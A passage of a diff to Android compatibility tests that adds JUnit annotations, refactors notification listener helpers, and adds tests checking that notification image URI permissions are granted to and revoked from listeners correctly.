@@ -380,6 +455,7 @@
assertEquals(className, app.getClass().getName());
}
+ @Test
public void testRunOnMainSync() throws Exception {
mRunOnMainSyncResult = false;
mInstrumentation.runOnMainSync(new Runnable() {
@@ -391,6 +467,7 @@
assertTrue(mRunOnMainSyncResult);
}
+ @Test
public void testCallActivityOnPause() throws Throwable {
mActivity.setOnPauseCalled(false);
runTestOnUiThread(() -> {
@@ -400,6 +477,7 @@
assertTrue(mActivity.isOnPauseCalled());
}
+ @Test
public void testSendKeyDownUpSync() throws Exception {
mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_0);
mInstrumentation.waitForIdleSync();
@@ -409,6 +487,7 @@
assertEquals(KeyEvent.KEYCODE_0, mActivity.getKeyDownList().get(0).getKeyCode());
}
+ @Test
@UiThreadTest
public void testNewActivity() throws Exception {
Intent intent = new Intent();
@@ -436,6 +515,7 @@
activity.finish();
}
+ @Test
public void testCallActivityOnStart() throws Exception {
mActivity.setOnStart(false);
mInstrumentation.callActivityOnStart(mActivity);
@@ -443,6 +523,7 @@
assertTrue(mActivity.isOnStart());
}
+ @Test
public void testWaitForIdle() throws Exception {
MockRunnable mr = new MockRunnable();
assertFalse(mr.isRunCalled());
@@ -451,6 +532,7 @@
assertTrue(mr.isRunCalled());
}
+ @Test
public void testSendCharacterSync() throws Exception {
mInstrumentation.sendCharacterSync(KeyEvent.KEYCODE_0);
mInstrumentation.waitForIdleSync();
@@ -458,6 +540,7 @@
assertEquals(KeyEvent.KEYCODE_0, mActivity.getKeyUpCode());
}
+ @Test
public void testCallActivityOnRestart() throws Exception {
mActivity.setOnRestart(false);
mInstrumentation.callActivityOnRestart(mActivity);
@@ -465,6 +548,7 @@
assertTrue(mActivity.isOnRestart());
}
+ @Test
public void testCallActivityOnStop() throws Exception {
mActivity.setOnStop(false);
mInstrumentation.callActivityOnStop(mActivity);
@@ -472,6 +556,7 @@
assertTrue(mActivity.isOnStop());
}
+ @Test
public void testCallActivityOnUserLeaving() throws Exception {
assertFalse(mActivity.isOnLeave());
mInstrumentation.callActivityOnUserLeaving(mActivity);
@@ -479,6 +564,7 @@
assertTrue(mActivity.isOnLeave());
}
+ @Test
public void testCallActivityOnRestoreInstanceState() throws Exception {
mActivity.setOnRestoreInstanceState(false);
mInstrumentation.callActivityOnRestoreInstanceState(mActivity, new Bundle());
@@ -486,6 +572,7 @@
assertTrue(mActivity.isOnRestoreInstanceState());
}
+ @Test
public void testSendKeySync() throws Exception {
KeyEvent key = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
mInstrumentation.sendKeySync(key);
@@ -749,4 +836,20 @@
mIsOnCreateCalled = true;
}
}
+
+ private void runTestOnUiThread(final Runnable r) throws Throwable {
+ final Throwable[] exceptions = new Throwable[1];
+ mInstrumentation.runOnMainSync(new Runnable() {
+ public void run() {
+ try {
+ r.run();
+ } catch (Throwable throwable) {
+ exceptions[0] = throwable;
+ }
+ }
+ });
+ if (exceptions[0] != null) {
+ throw exceptions[0];
+ }
+ }
}
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 1c7cd18..6c9b545 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -75,13 +75,16 @@
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.ContentProviderOperation;
+import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.OperationApplicationException;
+import android.content.ServiceConnection;
import android.content.pm.PackageManager;
import android.content.pm.ShortcutInfo;
import android.content.pm.ShortcutManager;
+import android.content.res.AssetFileDescriptor;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.drawable.Icon;
@@ -91,6 +94,7 @@
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
+import android.os.IBinder;
import android.os.ParcelFileDescriptor;
import android.os.RemoteException;
import android.os.SystemClock;
@@ -111,12 +115,12 @@
import android.util.Log;
import android.widget.RemoteViews;
-import androidx.test.InstrumentationRegistry;
+import androidx.annotation.NonNull;
+import androidx.test.platform.app.InstrumentationRegistry;
import com.android.compatibility.common.util.FeatureUtil;
import com.android.compatibility.common.util.SystemUtil;
-
-import junit.framework.Assert;
+import com.android.test.notificationlistener.INotificationUriAccessService;
import java.io.BufferedReader;
import java.io.FileInputStream;
@@ -133,11 +137,15 @@
import java.util.Set;
import java.util.UUID;
import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
/* This tests NotificationListenerService together with NotificationManager, as you need to have
* notifications to manipulate in order to test the listener service. */
public class NotificationManagerTest extends AndroidTestCase {
+ public static final String NOTIFICATIONPROVIDER = "com.android.test.notificationprovider";
+ public static final String RICH_NOTIFICATION_ACTIVITY =
+ "com.android.test.notificationprovider.RichNotificationActivity";
final String TAG = NotificationManagerTest.class.getSimpleName();
final boolean DEBUG = false;
static final String NOTIFICATION_CHANNEL_ID = "NotificationManagerTest";
@@ -160,6 +168,7 @@
private List<String> mRuleIds;
private BroadcastReceiver mBubbleBroadcastReceiver;
private boolean mBubblesEnabledSettingToRestore;
+ private INotificationUriAccessService mNotificationUriAccessService;
@Override
protected void setUp() throws Exception {
@@ -195,7 +204,8 @@
// delay between tests so notifications aren't dropped by the rate limiter
try {
Thread.sleep(500);
- } catch(InterruptedException e) {}
+ } catch (InterruptedException e) {
+ }
}
@Override
@@ -222,8 +232,7 @@
suspendPackage(mContext.getPackageName(), InstrumentationRegistry.getInstrumentation(),
false);
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), false);
+ toggleListenerAccess(false);
toggleNotificationPolicyAccess(mContext.getPackageName(),
InstrumentationRegistry.getInstrumentation(), false);
@@ -237,17 +246,17 @@
setBubblesGlobal(mBubblesEnabledSettingToRestore);
}
- private boolean isNotificationCancelled(int id, boolean all) {
+ private void assertNotificationCancelled(int id, boolean all) {
for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
- StatusBarNotification sbn = findPostedNotification(id, all);
- if (sbn == null) return true;
+ StatusBarNotification sbn = findNotificationNoWait(id, all);
+ if (sbn == null) return;
try {
Thread.sleep(SHORT_WAIT_TIME);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
- return false;
+ assertNull(findNotificationNoWait(id, all));
}
private void insertSingleContact(String name, String phone, String email, boolean starred) {
@@ -296,8 +305,8 @@
try {
Uri phoneUri = Uri.withAppendedPath(ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
Uri.encode(phone));
- String[] projection = new String[] { ContactsContract.Contacts._ID,
- ContactsContract.Contacts.LOOKUP_KEY };
+ String[] projection = new String[]{ContactsContract.Contacts._ID,
+ ContactsContract.Contacts.LOOKUP_KEY};
c = mContext.getContentResolver().query(phoneUri, projection, null, null, null);
if (c != null && c.getCount() > 0) {
c.moveToFirst();
@@ -320,25 +329,28 @@
private StatusBarNotification findPostedNotification(int id, boolean all) {
// notification is a bit asynchronous so it may take a few ms to appear in
// getActiveNotifications()
- // we will check for it for up to 300ms before giving up
- StatusBarNotification n = null;
- for (int tries = 3; tries-- > 0; ) {
- final StatusBarNotification[] sbns = getActiveNotifications(all);
- for (StatusBarNotification sbn : sbns) {
- Log.d(TAG, "Found " + sbn.getKey());
- if (sbn.getId() == id) {
- n = sbn;
- break;
- }
+ // we will check for it for up to 1000ms before giving up
+ for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
+ StatusBarNotification n = findNotificationNoWait(id, all);
+ if (n != null) {
+ return n;
}
- if (n != null) break;
try {
- Thread.sleep(100);
+ Thread.sleep(SHORT_WAIT_TIME);
} catch (InterruptedException ex) {
// pass
}
}
- return n;
+ return findNotificationNoWait(id, all);
+ }
+
+ private StatusBarNotification findNotificationNoWait(int id, boolean all) {
+ for (StatusBarNotification sbn : getActiveNotifications(all)) {
+ if (sbn.getId() == id) {
+ return sbn;
+ }
+ }
+ return null;
}
private StatusBarNotification[] getActiveNotifications(boolean all) {
@@ -449,8 +461,7 @@
private void setUpNotifListener() {
try {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
mListener = TestNotificationListener.getInstance();
mListener.resetData();
assertNotNull(mListener);
@@ -471,16 +482,16 @@
if (data == null) {
data = new Notification.BubbleMetadata.Builder(pendingIntent,
- Icon.createWithResource(mContext, R.drawable.black))
+ Icon.createWithResource(mContext, R.drawable.black))
.build();
}
if (builder == null) {
builder = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
- .setSmallIcon(R.drawable.black)
- .setWhen(System.currentTimeMillis())
- .setContentTitle("notify#" + id)
- .setContentText("This is #" + id + "notification ")
- .setContentIntent(pendingIntent);
+ .setSmallIcon(R.drawable.black)
+ .setWhen(System.currentTimeMillis())
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .setContentIntent(pendingIntent);
}
builder.setBubbleMetadata(data);
@@ -523,7 +534,7 @@
// getActiveNotifications()
// we will check for it for up to 300ms before giving up
boolean found = false;
- for (int tries = 3; tries--> 0;) {
+ for (int tries = 3; tries-- > 0; ) {
// Need reset flag.
found = false;
final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
@@ -549,7 +560,7 @@
// getActiveNotifications()
// we will check for it for up to 400ms before giving up
int lastCount = 0;
- for (int tries = 4; tries-- > 0;) {
+ for (int tries = 4; tries-- > 0; ) {
final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
lastCount = sbns.length;
if (expectedCount == lastCount) return;
@@ -559,7 +570,7 @@
// pass
}
}
- fail("Expected " + expectedCount + " posted notifications, were " + lastCount);
+ fail("Expected " + expectedCount + " posted notifications, were " + lastCount);
}
private void compareChannels(NotificationChannel expected, NotificationChannel actual) {
@@ -599,8 +610,8 @@
runCommand(command, instrumentation);
NotificationManager nm = mContext.getSystemService(NotificationManager.class);
- Assert.assertEquals("Notification Policy Access Grant is " +
- nm.isNotificationPolicyAccessGranted() + " not " + on, on,
+ assertEquals("Notification Policy Access Grant is "
+ + nm.isNotificationPolicyAccessGranted() + " not " + on, on,
nm.isNotificationPolicyAccessGranted());
}
@@ -613,18 +624,23 @@
runCommand(command, instrumentation);
}
- private void toggleListenerAccess(String componentName, Instrumentation instrumentation,
- boolean on) throws IOException {
-
+ private void toggleListenerAccess(boolean on) throws IOException {
String command = " cmd notification " + (on ? "allow_listener " : "disallow_listener ")
- + componentName;
+ + TestNotificationListener.getId();
- runCommand(command, instrumentation);
+ runCommand(command, InstrumentationRegistry.getInstrumentation());
final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
final ComponentName listenerComponent = TestNotificationListener.getComponentName();
- assertTrue(listenerComponent + " has not been granted access",
- nm.isNotificationListenerAccessGranted(listenerComponent) == on);
+ assertEquals(listenerComponent + " has incorrect listener access",
+ on, nm.isNotificationListenerAccessGranted(listenerComponent));
+ }
+
+ private void toggleExternalListenerAccess(ComponentName listenerComponent, boolean on)
+ throws IOException {
+ String command = " cmd notification " + (on ? "allow_listener " : "disallow_listener ")
+ + listenerComponent.flattenToString();
+ runCommand(command, InstrumentationRegistry.getInstrumentation());
}
private void setBubblesGlobal(boolean enabled)
@@ -656,15 +672,18 @@
Thread.sleep(500); // wait for ranking update
}
+ @SuppressWarnings("StatementWithEmptyBody")
private void runCommand(String command, Instrumentation instrumentation) throws IOException {
UiAutomation uiAutomation = instrumentation.getUiAutomation();
// Execute command
try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
- Assert.assertNotNull("Failed to execute shell command: " + command, fd);
+ assertNotNull("Failed to execute shell command: " + command, fd);
// Wait for the command to finish by reading until EOF
try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
byte[] buffer = new byte[4096];
- while (in.read(buffer) > 0) {}
+ while (in.read(buffer) > 0) {
+ // discard output
+ }
} catch (IOException e) {
throw new IOException("Could not read stdout of command: " + command, e);
}
@@ -698,7 +717,7 @@
private void assertExpectedDndState(int expectedState) {
int tries = 3;
- for (int i = tries; i >=0; i--) {
+ for (int i = tries; i >= 0; i--) {
if (expectedState ==
mNotificationManager.getCurrentInterruptionFilter()) {
break;
@@ -808,11 +827,11 @@
KeyguardManager keyguardManager = mContext.getSystemService(KeyguardManager.class);
keyguardManager.requestDismissKeyguard(sendBubbleActivity,
new KeyguardManager.KeyguardDismissCallback() {
- @Override
- public void onDismissSucceeded() {
- latch.countDown();
- }
- });
+ @Override
+ public void onDismissSucceeded() {
+ latch.countDown();
+ }
+ });
try {
latch.await(500, TimeUnit.MILLISECONDS);
} catch (InterruptedException e) {
@@ -1098,7 +1117,7 @@
new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
channel.setDescription("bananas");
channel.enableVibration(true);
- channel.setVibrationPattern(new long[] {5, 8, 2, 1});
+ channel.setVibrationPattern(new long[]{5, 8, 2, 1});
channel.setSound(new Uri.Builder().scheme("test").build(),
new AudioAttributes.Builder().setUsage(
AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_DELAYED).build());
@@ -1213,7 +1232,8 @@
try {
mNotificationManager.createNotificationChannel(channel);
fail("Created notification with bad group");
- } catch (IllegalArgumentException e) {}
+ } catch (IllegalArgumentException e) {
+ }
}
public void testCreateChannelInvalidImportance() throws Exception {
@@ -1380,8 +1400,7 @@
}
public void testSuspendPackage() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -1422,8 +1441,7 @@
}
public void testSuspendedPackageSendsNotification() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -1475,8 +1493,7 @@
assertEquals(1, Settings.Global.getInt(
mContext.getContentResolver(), Settings.Global.NOTIFICATION_BUBBLES));
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -1520,8 +1537,7 @@
assertEquals(1, Settings.Secure.getInt(
mContext.getContentResolver(), Settings.Secure.NOTIFICATION_BADGING));
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -1563,8 +1579,7 @@
}
public void testGetSuppressedVisualEffectsOff_ranking() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -1592,8 +1607,7 @@
final int originalFilter = mNotificationManager.getCurrentInterruptionFilter();
NotificationManager.Policy origPolicy = mNotificationManager.getNotificationPolicy();
try {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -1641,8 +1655,7 @@
}
public void testKeyChannelGroupOverrideImportanceExplanation_ranking() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -1908,7 +1921,8 @@
.setStyle(new Notification.BigPictureStyle()
.setBigContentTitle("title")
.bigPicture(Bitmap.createBitmap(100, 100, Bitmap.Config.RGB_565))
- .bigLargeIcon(Icon.createWithResource(getContext(), R.drawable.icon_blue))
+ .bigLargeIcon(
+ Icon.createWithResource(getContext(), R.drawable.icon_blue))
.setSummaryText("summary"))
.build();
mNotificationManager.notify(id, notification);
@@ -2339,31 +2353,31 @@
}
public void testNotificationPolicyVisualEffectsEqual() {
- NotificationManager.Policy policy = new NotificationManager.Policy(0,0 ,0 ,
+ NotificationManager.Policy policy = new NotificationManager.Policy(0, 0, 0,
SUPPRESSED_EFFECT_SCREEN_ON);
- NotificationManager.Policy policy2 = new NotificationManager.Policy(0,0 ,0 ,
+ NotificationManager.Policy policy2 = new NotificationManager.Policy(0, 0, 0,
SUPPRESSED_EFFECT_PEEK);
assertTrue(policy.equals(policy2));
assertTrue(policy2.equals(policy));
- policy = new NotificationManager.Policy(0,0 ,0 ,
+ policy = new NotificationManager.Policy(0, 0, 0,
SUPPRESSED_EFFECT_SCREEN_ON);
- policy2 = new NotificationManager.Policy(0,0 ,0 ,
+ policy2 = new NotificationManager.Policy(0, 0, 0,
0);
assertFalse(policy.equals(policy2));
assertFalse(policy2.equals(policy));
- policy = new NotificationManager.Policy(0,0 ,0 ,
+ policy = new NotificationManager.Policy(0, 0, 0,
SUPPRESSED_EFFECT_SCREEN_OFF);
- policy2 = new NotificationManager.Policy(0,0 ,0 ,
+ policy2 = new NotificationManager.Policy(0, 0, 0,
SUPPRESSED_EFFECT_FULL_SCREEN_INTENT | SUPPRESSED_EFFECT_AMBIENT
| SUPPRESSED_EFFECT_LIGHTS);
assertTrue(policy.equals(policy2));
assertTrue(policy2.equals(policy));
- policy = new NotificationManager.Policy(0,0 ,0 ,
+ policy = new NotificationManager.Policy(0, 0, 0,
SUPPRESSED_EFFECT_SCREEN_OFF);
- policy2 = new NotificationManager.Policy(0,0 ,0 ,
+ policy2 = new NotificationManager.Policy(0, 0, 0,
SUPPRESSED_EFFECT_LIGHTS);
assertFalse(policy.equals(policy2));
assertFalse(policy2.equals(policy));
@@ -2414,7 +2428,7 @@
mNotificationManager.notifyAsPackage(DELEGATOR, "toBeCanceled", 10000, n);
assertNotNull(findPostedNotification(10000, false));
mNotificationManager.cancelAsPackage(DELEGATOR, "toBeCanceled", 10000);
- assertTrue(isNotificationCancelled(10000, false));
+ assertNotificationCancelled(10000, false);
final Intent revokeIntent = new Intent();
revokeIntent.setClassName(DELEGATOR, REVOKE_CLASS);
revokeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
@@ -2424,8 +2438,7 @@
public void testNotificationDelegate_cannotCancelNotificationsPostedByDelegator()
throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -2444,7 +2457,7 @@
try {
mNotificationManager.cancelAsPackage(DELEGATOR, null, 9);
- fail ("Delegate should not be able to cancel notification they did not post");
+ fail("Delegate should not be able to cancel notification they did not post");
} catch (SecurityException e) {
// yay
}
@@ -2592,8 +2605,7 @@
// pass
}
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
// no exception this time
mNotificationManager.shouldHideSilentStatusBarIcons();
}
@@ -2655,9 +2667,250 @@
listener.onListenerDisconnected();
}
+ private void performNotificationProviderAction(@NonNull String action) {
+ // Create an intent to launch an activity which just posts or cancels notifications
+ Intent activityIntent = new Intent();
+ activityIntent.setClassName(NOTIFICATIONPROVIDER, RICH_NOTIFICATION_ACTIVITY);
+ activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ activityIntent.putExtra("action", action);
+ mContext.startActivity(activityIntent);
+ }
+
+ public void testNotificationUriPermissionsGranted() throws Exception {
+ Uri background7Uri = Uri.parse(
+ "content://com.android.test.notificationprovider.provider/background7.png");
+ Uri background8Uri = Uri.parse(
+ "content://com.android.test.notificationprovider.provider/background8.png");
+
+ toggleListenerAccess(true);
+ Thread.sleep(500); // wait for listener to be allowed
+
+ mListener = TestNotificationListener.getInstance();
+ assertNotNull(mListener);
+
+ try {
+ // Post #7
+ performNotificationProviderAction("send-7");
+
+ assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+ assertNotificationCancelled(8, true);
+ assertAccessible(background7Uri);
+ assertInaccessible(background8Uri);
+
+ // Post #8
+ performNotificationProviderAction("send-8");
+
+ assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+ assertEquals(background8Uri, getNotificationBackgroundImageUri(8));
+ assertAccessible(background7Uri);
+ assertAccessible(background8Uri);
+
+ // Cancel #7
+ performNotificationProviderAction("cancel-7");
+
+ assertNotificationCancelled(7, true);
+ assertEquals(background8Uri, getNotificationBackgroundImageUri(8));
+ assertInaccessible(background7Uri);
+ assertAccessible(background8Uri);
+
+ // Cancel #8
+ performNotificationProviderAction("cancel-8");
+
+ assertNotificationCancelled(7, true);
+ assertNotificationCancelled(8, true);
+ assertInaccessible(background7Uri);
+ assertInaccessible(background8Uri);
+
+ } finally {
+ // Clean up -- reset any remaining notifications
+ performNotificationProviderAction("reset");
+ Thread.sleep(500);
+ }
+ }
+
+ public void testNotificationUriPermissionsGrantedToNewListeners() throws Exception {
+ Uri background7Uri = Uri.parse(
+ "content://com.android.test.notificationprovider.provider/background7.png");
+
+ try {
+ // Post #7
+ performNotificationProviderAction("send-7");
+
+ Thread.sleep(500);
+ // Don't have access the notification yet, but we can test the URI
+ assertInaccessible(background7Uri);
+
+ toggleListenerAccess(true);
+ Thread.sleep(500); // wait for listener to be allowed
+
+ mListener = TestNotificationListener.getInstance();
+ assertNotNull(mListener);
+
+ assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+ assertAccessible(background7Uri);
+
+ } finally {
+ // Clean Up -- Cancel #7
+ performNotificationProviderAction("cancel-7");
+ Thread.sleep(500);
+ }
+ }
+
+ public void testNotificationUriPermissionsRevokedFromRemovedListeners() throws Exception {
+ Uri background7Uri = Uri.parse(
+ "content://com.android.test.notificationprovider.provider/background7.png");
+
+ toggleListenerAccess(true);
+ Thread.sleep(500); // wait for listener to be allowed
+
+ try {
+ // Post #7
+ performNotificationProviderAction("send-7");
+
+ mListener = TestNotificationListener.getInstance();
+ assertNotNull(mListener);
+
+ assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+ assertAccessible(background7Uri);
+
+ // Remove the listener to ensure permissions get revoked
+ toggleListenerAccess(false);
+ Thread.sleep(500); // wait for listener to be disabled
+
+ assertInaccessible(background7Uri);
+
+ } finally {
+ // Clean Up -- Cancel #7
+ performNotificationProviderAction("cancel-7");
+ Thread.sleep(500);
+ }
+ }
+
+ private class NotificationListenerConnection implements ServiceConnection {
+ private final Semaphore mSemaphore = new Semaphore(0);
+
+ @Override
+ public void onServiceConnected(ComponentName className, IBinder service) {
+ mNotificationUriAccessService = INotificationUriAccessService.Stub.asInterface(service);
+ mSemaphore.release();
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName className) {
+ mNotificationUriAccessService = null;
+ }
+
+ public void waitForService() {
+ try {
+ if (mSemaphore.tryAcquire(5, TimeUnit.SECONDS)) {
+ return;
+ }
+ } catch (InterruptedException e) {
+ }
+ fail("failed to connec to service");
+ }
+ }
+
+ ;
+
+ public void testNotificationUriPermissionsRevokedOnlyFromRemovedListeners() throws Exception {
+ Uri background7Uri = Uri.parse(
+ "content://com.android.test.notificationprovider.provider/background7.png");
+
+ // Connect to a service in the NotificationListener app which allows us to validate URI
+ // permissions granted to a second app, so that we show that permissions aren't being
+ // revoked too broadly.
+ final Intent intent = new Intent();
+ intent.setComponent(new ComponentName("com.android.test.notificationlistener",
+ "com.android.test.notificationlistener.NotificationUriAccessService"));
+ NotificationListenerConnection connection = new NotificationListenerConnection();
+ mContext.bindService(intent, connection, Context.BIND_AUTO_CREATE);
+ connection.waitForService();
+
+ // Before starting the test, make sure the service works, that there is no listener, and
+ // that the URI starts inaccessible to that process.
+ mNotificationUriAccessService.ensureNotificationListenerServiceConnected(false);
+ assertFalse(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+ // Give the NotificationListener app access to notifications, and validate that.
+ toggleExternalListenerAccess(new ComponentName("com.android.test.notificationlistener",
+ "com.android.test.notificationlistener.TestNotificationListener"), true);
+ Thread.sleep(500);
+ mNotificationUriAccessService.ensureNotificationListenerServiceConnected(true);
+ assertFalse(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+ // Give the test app access to notifications, and get that listener
+ toggleListenerAccess(true);
+ Thread.sleep(500); // wait for listener to be allowed
+ mListener = TestNotificationListener.getInstance();
+ assertNotNull(mListener);
+
+ try {
+ try {
+ // Post #7
+ performNotificationProviderAction("send-7");
+
+ // Check that both the test app (this code) and the external app have URI access.
+ assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+ assertAccessible(background7Uri);
+ assertTrue(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+ // Remove the listener to ensure permissions get revoked
+ toggleListenerAccess(false);
+ Thread.sleep(500); // wait for listener to be disabled
+
+ // Ensure that revoking listener access to this one app does not effect the other.
+ assertInaccessible(background7Uri);
+ assertTrue(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+ } finally {
+ // Clean Up -- Cancel #7
+ performNotificationProviderAction("cancel-7");
+ Thread.sleep(500);
+ }
+
+ // Finally, cancelling the permission must still revoke those other permissions.
+ assertFalse(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+ } finally {
+ // Clean Up -- Make sure the external listener is has access revoked
+ toggleExternalListenerAccess(new ComponentName("com.android.test.notificationlistener",
+ "com.android.test.notificationlistener.TestNotificationListener"), false);
+ }
+ }
+
+ private void assertAccessible(Uri uri)
+ throws IOException {
+ ContentResolver contentResolver = mContext.getContentResolver();
+ try (AssetFileDescriptor fd = contentResolver.openAssetFile(uri, "r", null)) {
+ assertNotNull(fd);
+ } catch (SecurityException e) {
+ throw new AssertionError("URI should be accessible: " + uri, e);
+ }
+ }
+
+ private void assertInaccessible(Uri uri)
+ throws IOException {
+ ContentResolver contentResolver = mContext.getContentResolver();
+ try (AssetFileDescriptor fd = contentResolver.openAssetFile(uri, "r", null)) {
+ fail("URI should be inaccessible: " + uri);
+ } catch (SecurityException e) {
+ // pass
+ }
+ }
+
+ @NonNull
+ private Uri getNotificationBackgroundImageUri(int notificationId) {
+ StatusBarNotification sbn = findPostedNotification(notificationId, true);
+ assertNotNull(sbn);
+ String imageUriString = sbn.getNotification().extras
+ .getString(Notification.EXTRA_BACKGROUND_IMAGE_URI);
+ assertNotNull(imageUriString);
+ return Uri.parse(imageUriString);
+ }
+
public void testNotificationListener_setNotificationsShown() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -2673,8 +2926,7 @@
StatusBarNotification sbn2 = findPostedNotification(notificationId2, false);
mListener.setNotificationsShown(new String[]{ sbn1.getKey() });
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), false);
+ toggleListenerAccess(false);
Thread.sleep(500); // wait for listener to be disallowed
try {
mListener.setNotificationsShown(new String[]{ sbn2.getKey() });
@@ -2685,8 +2937,7 @@
}
public void testNotificationListener_getNotificationChannels() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -2701,8 +2952,7 @@
}
public void testNotificationListener_getNotificationChannelGroups() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -2716,8 +2966,7 @@
}
public void testNotificationListener_updateNotificationChannel() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -2736,8 +2985,7 @@
}
public void testNotificationListener_getActiveNotifications() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -2764,8 +3012,7 @@
public void testNotificationListener_getCurrentRanking() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -2778,8 +3025,7 @@
}
public void testNotificationListener_cancelNotifications() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index e877350..b474fb8 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -23,11 +23,13 @@
import android.content.pm.PackageManager;
import android.content.res.Configuration;
import android.os.ParcelFileDescriptor;
+import android.os.UserHandle;
import android.test.AndroidTestCase;
import android.util.Log;
import com.android.compatibility.common.util.BatteryUtils;
import com.android.compatibility.common.util.SettingsUtils;
+import com.android.compatibility.common.util.UserUtils;
import junit.framework.Assert;
